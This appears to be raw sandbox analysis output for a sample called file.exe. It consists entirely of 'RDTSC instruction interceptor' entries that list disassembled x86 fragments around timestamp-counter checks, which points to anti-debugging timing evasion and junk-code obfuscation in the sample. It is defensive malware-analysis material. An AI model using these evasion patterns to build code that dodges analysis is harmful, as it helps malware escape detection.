Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483624 second address: 2CED46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2AC6h], eax 0x0000000e push dword ptr [ebp+122D112Dh] 0x00000014 mov edx, 3114CD51h 0x00000019 jbe 00007F61C0BD038Fh 0x0000001f call dword ptr [ebp+122D3794h] 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D2AC6h], ecx 0x0000002c jmp 00007F61C0BD0390h 0x00000031 xor eax, eax 0x00000033 sub dword ptr [ebp+122D2AC6h], ecx 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d pushad 0x0000003e jmp 00007F61C0BD038Dh 0x00000043 xor di, 5E79h 0x00000048 popad 0x00000049 js 00007F61C0BD038Ch 0x0000004f mov dword ptr [ebp+122D2AC6h], ecx 0x00000055 mov dword ptr [ebp+122D3B70h], eax 0x0000005b jmp 00007F61C0BD0390h 0x00000060 mov esi, 0000003Ch 0x00000065 jl 00007F61C0BD038Ch 0x0000006b mov dword ptr [ebp+122D2AC6h], edx 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 jmp 00007F61C0BD0399h 0x0000007a lodsw 0x0000007c mov dword ptr [ebp+122D36ABh], eax 0x00000082 add eax, dword ptr [esp+24h] 0x00000086 stc 0x00000087 cmc 0x00000088 mov ebx, dword ptr [esp+24h] 0x0000008c sub dword ptr [ebp+122D36ABh], ebx 0x00000092 nop 0x00000093 push eax 0x00000094 push edx 0x00000095 jbe 00007F61C0BD0388h 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483A9C second address: 483AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F61C0D2D446h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483AA9 second address: 483ABA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jp 00007F61C0BD038Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483ABA second address: 483B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F61C0D2D448h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F61C0D2D448h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 pushad 0x00000029 add ax, A7B1h 0x0000002e mov dword ptr [ebp+122D2F53h], eax 0x00000034 popad 0x00000035 push 00000004h 0x00000037 mov dword ptr [ebp+122D2AE4h], edi 0x0000003d mov edi, ebx 0x0000003f nop 0x00000040 jmp 00007F61C0D2D453h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push esi 0x00000049 js 00007F61C0D2D446h 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483B1B second address: 483B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483B21 second address: 483B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483F48 second address: 483FA6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F61C0BD0388h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2A93h], edi 0x0000002e push 0000001Eh 0x00000030 mov dword ptr [ebp+122D238Bh], ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F61C0BD0399h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4842C1 second address: 4842C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4842C6 second address: 4842DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD0393h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484363 second address: 484367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484367 second address: 48436B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48436B second address: 48437C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F61C0D2D446h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48437C second address: 4843C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 js 00007F61C0BD038Ch 0x0000000e jg 00007F61C0BD0386h 0x00000014 lea eax, dword ptr [ebp+12487D44h] 0x0000001a jmp 00007F61C0BD038Dh 0x0000001f nop 0x00000020 jo 00007F61C0BD039Ch 0x00000026 jmp 00007F61C0BD0396h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 push eax 0x00000032 pop eax 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4843C9 second address: 461E7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F61C0D2D448h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 or edi, dword ptr [ebp+122D2AD5h] 0x0000002a mov cl, ah 0x0000002c lea eax, dword ptr [ebp+12487D00h] 0x00000032 xor dword ptr [ebp+122D23FAh], ebx 0x00000038 push eax 0x00000039 push ebx 0x0000003a pushad 0x0000003b jmp 00007F61C0D2D457h 0x00000040 jmp 00007F61C0D2D44Ch 0x00000045 popad 0x00000046 pop ebx 0x00000047 mov dword ptr [esp], eax 0x0000004a call dword ptr [ebp+122D2363h] 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 pushad 0x00000054 popad 0x00000055 push ebx 0x00000056 pop ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461E7D second address: 461E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461E86 second address: 461E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461E8C second address: 461EB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jg 00007F61C0BD0388h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F61C0BD0396h 0x00000018 jmp 00007F61C0BD038Ah 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461EB0 second address: 461EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461EB4 second address: 461EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461EBC second address: 461EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461EC0 second address: 461EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461EC9 second address: 461ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461ECF second address: 461ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3E09 second address: 4B3E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3E0D second address: 4B3E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F61C0BD038Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90BE second address: 4B90C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9229 second address: 4B922F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9675 second address: 4B9693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F61C0D2D457h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9945 second address: 4B9949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9949 second address: 4B994F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B994F second address: 4B9990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F61C0BD038Eh 0x0000000c jc 00007F61C0BD0386h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F61C0BD0398h 0x0000001b jmp 00007F61C0BD0393h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9ABB second address: 4B9ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F61C0D2D446h 0x0000000a pop esi 0x0000000b push esi 0x0000000c jmp 00007F61C0D2D44Ah 0x00000011 jo 00007F61C0D2D446h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9ADC second address: 4B9AE2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9C47 second address: 4B9C54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF3D2 second address: 4BF3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF6F7 second address: 4BF714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D457h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF954 second address: 4BF983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F61C0BD0388h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F61C0BD0390h 0x00000016 je 00007F61C0BD0386h 0x0000001c jnp 00007F61C0BD0386h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF983 second address: 4BF988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BEFC2 second address: 4BEFEF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F61C0BD0393h 0x00000013 jmp 00007F61C0BD038Dh 0x00000018 jmp 00007F61C0BD038Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BFF22 second address: 4BFF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D44Eh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c ja 00007F61C0D2D446h 0x00000012 ja 00007F61C0D2D446h 0x00000018 popad 0x00000019 jne 00007F61C0D2D44Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0097 second address: 4C00AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61C0BD0393h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA943 second address: 4CA94C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA47A second address: 4CA487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F61C0BD038Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCE5A second address: 4CCE5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCE5E second address: 4CCE6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCE6A second address: 4CCE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0D2D459h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CCE87 second address: 4CCE8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4396BC second address: 4396C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4396C2 second address: 4396E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 jmp 00007F61C0BD0398h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC9A4 second address: 4CC9B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F61C0D2D446h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC9B0 second address: 4CC9BE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC9BE second address: 4CC9CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC9CE second address: 4CC9F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F61C0BD0398h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4436B1 second address: 4436CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4436CD second address: 4436D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4436D1 second address: 4436DD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F61C0D2D446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D58D3 second address: 4D58D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4CAB second address: 4D4D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Eh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F61C0D2D456h 0x0000000f jmp 00007F61C0D2D450h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F61C0D2D459h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4FC2 second address: 4D4FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4FCC second address: 4D4FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F61C0D2D446h 0x0000000a popad 0x0000000b jnp 00007F61C0D2D462h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB5BA second address: 4DB5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB5BE second address: 4DB5C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9F47 second address: 4D9F4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9F4F second address: 4D9F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Fh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B0 second address: 4DA0CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F61C0BD0386h 0x00000009 jnp 00007F61C0BD0386h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnp 00007F61C0BD03B0h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0CC second address: 4DA0E6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F61C0D2D446h 0x00000008 jg 00007F61C0D2D446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F61C0D2D446h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0E6 second address: 4DA0EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA509 second address: 4DA51C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61C0D2D44Ch 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483CE0 second address: 483CF4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F61C0BD0386h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483CF4 second address: 483D60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b mov cx, C4ABh 0x0000000f mov ebx, dword ptr [ebp+12487D3Fh] 0x00000015 mov ecx, eax 0x00000017 add eax, ebx 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F61C0D2D448h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D23EAh] 0x00000039 call 00007F61C0D2D44Bh 0x0000003e sub ch, 00000025h 0x00000041 pop edi 0x00000042 nop 0x00000043 pushad 0x00000044 pushad 0x00000045 push ebx 0x00000046 pop ebx 0x00000047 push eax 0x00000048 pop eax 0x00000049 popad 0x0000004a push eax 0x0000004b push edx 0x0000004c jng 00007F61C0D2D446h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483D60 second address: 483D85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0395h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F61C0BD0388h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483D85 second address: 483D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483D8B second address: 483D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483D8F second address: 483DB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D44Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, FE2Eh 0x00000010 push 00000004h 0x00000012 add edi, dword ptr [ebp+122D235Eh] 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483DB9 second address: 483DBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA931 second address: 4DA935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA935 second address: 4DA93F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F61C0BD0386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA93F second address: 4DA945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA945 second address: 4DA94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F61C0BD0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA94F second address: 4DA953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDFC9 second address: 4DDFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F61C0BD0386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDFD3 second address: 4DDFDC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
